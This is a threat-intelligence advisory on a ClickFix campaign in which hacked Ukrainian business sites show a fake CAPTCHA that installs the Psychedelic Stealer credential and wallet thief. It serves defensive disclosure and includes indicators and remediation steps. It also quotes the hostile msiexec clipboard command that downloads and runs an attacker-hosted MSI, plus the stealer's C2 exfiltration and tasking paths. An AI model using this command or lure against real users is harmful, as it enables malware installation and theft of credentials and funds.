ClickFix Campaign Abuses Compromised Ukrainian Websites to Deploy Psychedelic Stealer

ClickFix Campaign Abuses Compromised Ukrainian Websites to (TL-2026-2699), also tracked as Psychedelic Stealer ClickFix Campaign, is a high-severity malware campaign, first published 2026-09-27. It is linked to a Russia-nexus actor with low confidence, affects Multiple Chromium-based web browsers (credential/token theft target), maps to 13 MITRE ATT&CK techniques (T1005, T1053.005, T1071.001), and is covered by 9 detection rules and 25 indicators of compromise.

Key facts for TL-2026-2699

Threat ID
TL-2026-2699
Also known as
Psychedelic Stealer ClickFix Campaign
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-09-27
Last reviewed
2026-09-27
Attribution confidence
LOW
Nation-state nexus
Russia
Motivation
FINANCIAL
Target sectors
retail, health, manufacturing, publishing, automotive
Target regions
ukraine, 151 - Eastern Europe, 155 - Western Europe, North America
Detection rules
9
Indicators of compromise
25

Malware and tooling in ClickFix Campaign Abuses Compromised Ukrainian Websites to

Malware and tooling: Psychedelic Stealer, Rublevka TDS

Arctic Wolf Labs is tracking an active ClickFix campaign in which six compromised Ukrainian business websites serve a fake Cloudflare CAPTCHA that silently copies a msiexec.exe command to the clipboard and walks victims through pasting it into the Windows Run dialog. The resulting MSI installs Psychedelic Stealer, a 64-bit credential/token/cryptocurrency-wallet harvester with scheduled-task persistence and remote tasking of EXE/COM/BAT/CMD/MSI/PowerShell payloads via a C2 with Russian-language operator artifacts.

How ClickFix Campaign Abuses Compromised Ukrainian Websites to works

Beginning no later than 9 September 2026, an unattributed but assessed Russian-speaking threat actor compromised at least six legitimate Ukrainian small-business websites (a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller/publisher, a psychological facility, a tool retailer, and an automotive retailer) and injected a hidden iframe that loads a remote script from fsputnik.com (hxxps://fsputnik.com/tds/tracker.js). The iframe renders a counterfeit Cloudflare 'verify you are human' page. The page declares lang="ru" and contains Russian-language HTML comments despite Ukrainian-visible text, displays a randomly generated hexadecimal 'Ray ID' and a fixed 'visitor identifier' (34as77), and reads 'Адреса сайту не визначена' ('site address not specified'). Clicking the CAPTCHA fires a 'click' beacon and immediately calls copyToClipboard() to place a Windows Installer command on the clipboard -- before the page ever shows the Windows+R instructions, creating a deliberate gap between the hidden action and the visible instruction. A three-second spinner and an approximately 35-second disabled 'Done' button add social-engineering pressure and buy time for the paste-and-run flow to feel deliberate rather than automatic.

The clipboard payload is a single line: Msiexec.exe /i "https://uasputnik.com/elita.msi" /passive ORG_NOTE="Захист від автоматичних запитів... Підтверджую, що я не робот." Using msiexec.exe with /passive avoids invoking powershell.exe or cmd.exe directly, side-stepping detections that focus on scripting-engine abuse. The domain uasputnik.com was registered on 9 September 2026 at 17:02:25 UTC through registrar Gransy, s.r.o. and was updated roughly 3.5 hours later; it resolved to 176.53.159.40 (AS154383, ZORNTECH WEB SOLUTIONS) from 9-14 September 2026. Multiple MSI filenames were observed served from the domain (elita.msi, miks.msi, astra.msi, harbor.msi, neon.msi, sova.msi, vyse.msi), consistent with per-target or per-campaign staging. The analyzed elita.msi (SHA-256 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878) embeds an encrypted next-stage URL that decodes to http://107.175.82.242:9000/wilow/psychedeliclove.exe, along with decoy strings referencing MsMpEng.exe and explorer.exe.

psychedeliclove.exe (SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90) is a 64-bit Windows executable that Arctic Wolf Labs tracks as Psychedelic Stealer, based on an internal 'Psychedelic' configuration tag. It harvests saved passwords and account tokens from Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, and Yandex (dedicated routines at offsets 0x140008da0 for passwords and 0x140009950 for tokens, the latter reading a temporary copy of the Chromium Web Data database named wd_tmp.db), and separately targets cryptocurrency assets: browser-extension wallets MetaMask, Trust Wallet, OKX Wallet, and SafePal (routine at 0x14000a8a0), and desktop wallets Exodus, Atomic Wallet, Electrum, Bitcoin Core, and Litecoin Core (routine at 0x14000ab60). Stolen data is uploaded over HTTP to a dedicated C2 at 193.178.159.128:8080, authenticated with an X-API-Key header, to endpoint-specific paths (/api/v1/checkin, /api/v1/ext/passwords, /api/v1/ext/tokens, /api/v1/ext/wallets). The malware also profiles the host (computer/user name, OS version and architecture, CPU/core count, RAM, GPU, disk size, timezone, language, screen resolution, MAC address, administrator status, installed AV, and installed browsers) and establishes persistence via a logon scheduled task named psychedelicloveUtils. Remote tasking is implemented through /api/v1/agent/tasks?hwid=%s (poll), /api/v1/agent/tasks/%llu/ack (acknowledge), and %s/d/%s (attachment retrieval), supporting EXE, COM, BAT, CMD, MSI, and PowerShell task types, with local state tracked in executed_tasks.json and downloaded files staged under downloads\<taskid>_<filename>. A native-messaging bridge (host name com.lunex.explorer, manifest com.lunex.explorer.json, with supporting host.ps1/host.bat scripts and an <<BP_INSTALLER_HWID>> placeholder) is deployed into browser profiles to let a companion browser extension communicate with the host implant.

The lure-side infrastructure is managed through a separate operator panel branded 'РУБЛЁВКА TDS' ('Rublevka TDS', named for a wealthy Moscow district), hosted on uasputnik.com, which configures per-domain payload delivery, polls visitor-interaction telemetry every two seconds, and retrieves the live payload value via an asynchronous request to admin777111777.php?api=get_payload&domain=uasputnik.com (falling back to a hardcoded placeholder if the response is too short, with no validation before the value is copied to the clipboard). At observation time the panel recorded 557 views, 426 clicks, and 79 'complete' events across 32 countries; the operators' own event model cannot distinguish web-lure progression from actual MSI execution or host compromise. Ukraine accounted for the large majority of recorded interaction (446 views, 351 clicks, 71 'complete' events), with smaller volumes from the United States, Poland, Germany, Canada, and the Netherlands, confirming Ukrainian users as the primary intended audience despite the campaign's incidental global reach. Arctic Wolf Labs assesses the operators are likely Russian-speaking based on the Russian-language HTML artifacts, the lang="ru" declaration, the 'Rublevka' panel branding, and source-code checks that avoid execution on hosts with Russian keyboard layouts, but has not attributed the activity to a named threat actor or group. No CVE applies; the entire chain relies on social engineering (ClickFix-style clipboard hijacking) rather than a software vulnerability.

MITRE ATT&CK techniques used in TL-2026-2699

Collection

T1005 Data from Local System

Persistence

T1053.005 Scheduled Task; T1176 Software Extensions

Command and Control

T1071.001 Web Protocols

Discovery

T1082 System Information Discovery; T1614.001 System Language Discovery

Defense Evasion

T1140 Deobfuscate/Decode Files or Information; T1218.007 Msiexec

Execution

T1204.004 Malicious Copy and Paste

Credential Access

T1528 Steal Application Access Token; T1555.003 Credentials from Web Browsers

Resource Development

T1583.001 Domains

Impact

T1657 Financial Theft

Affected products and versions in ClickFix Campaign Abuses Compromised Ukrainian Websites to

  • Multiple — Chromium-based web browsers (credential/token theft target)
    Vulnerable versions: Google Chrome; Microsoft Edge; Brave; Opera; Opera GX; Vivaldi; Yandex Browser
  • Multiple — Desktop cryptocurrency wallet software (theft target)
    Vulnerable versions: Exodus; Atomic Wallet; Electrum; Bitcoin Core; Litecoin Core
  • Multiple — Browser-extension cryptocurrency wallets (theft target)
    Vulnerable versions: MetaMask; Trust Wallet; OKX Wallet; SafePal
  • Microsoft — Windows Installer (msiexec.exe)
    Vulnerable versions: Abused as a living-off-the-land execution proxy via /passive install of an attacker-hosted MSI; no vendor vulnerability involved

Remediation for ClickFix Campaign Abuses Compromised Ukrainian Websites to

Immediate actions

  • Block network indicators at DNS/proxy/firewall: uasputnik.com, fsputnik.com, 193.178.159.128, 107.175.82.242
  • Alert on and investigate any msiexec.exe execution using the /passive flag with a remote HTTPS MSI URL argument, particularly with an ORG_NOTE property
  • Hunt for the scheduled task psychedelicloveUtils and supporting artifacts (executed_tasks.json, wd_tmp.db, downloads\<taskid>_<filename>) on Windows endpoints
  • Force credential rotation for browser-saved passwords/tokens and move cryptocurrency wallet funds to new wallets on any host suspected of running psychedeliclove.exe

Workarounds

  • Restrict or disable the Windows+R Run dialog via Group Policy on high-risk endpoint populations where operationally feasible
  • Constrain msiexec.exe to signed/allow-listed installer sources using AppLocker or WDAC

Longer-term hardening

  • Deploy EDR analytics for clipboard-to-Run-dialog execution chains characteristic of ClickFix-style social engineering
  • Add web-integrity monitoring/CSP controls for customer-facing business websites to detect unauthorized iframe injection
  • Run user-awareness training specifically covering fake CAPTCHA/'verify you are human' pages that instruct manual command execution via Windows+R
  • Monitor for creation of native-messaging host manifests (e.g., com.lunex.explorer.json) as an indicator of browser-extension-based persistence

Timeline of ClickFix Campaign Abuses Compromised Ukrainian Websites to

  • uasputnik.com domain record updated approximately 3.5 hours after initial registration.
  • Domain uasputnik.com registered at 17:02:25 UTC via registrar Gransy, s.r.o.; DNS A-record points to 176.53.159.40 (AS154383, ZORNTECH WEB SOLUTIONS).
  • Fake Cloudflare CAPTCHA lure URLs referencing the compromised scale-model manufacturer and bookseller/publisher websites observed.
  • Fake Cloudflare CAPTCHA lure URL referencing the compromised hair-treatment clinic website observed.
  • Last observed association of uasputnik.com with IP 176.53.159.40, closing a roughly five-day operational window from registration.
  • Arctic Wolf Labs publishes technical analysis 'The Psychedelic Stealer: When a CAPTCHA Becomes an Installer', naming and detailing the malware, ClickFix lure, and Rublevka TDS panel.
  • Security Affairs, The Hacker News, and Techzine publish coverage summarizing the Arctic Wolf Labs findings, broadening public awareness of the campaign.

Sources cited for ClickFix Campaign Abuses Compromised Ukrainian Websites to

More in malware

Detection coverage for TL-2026-2699

As of 2026-09-27, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2699 across Splunk SPL, Microsoft KQL and Sigma, covering 25 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats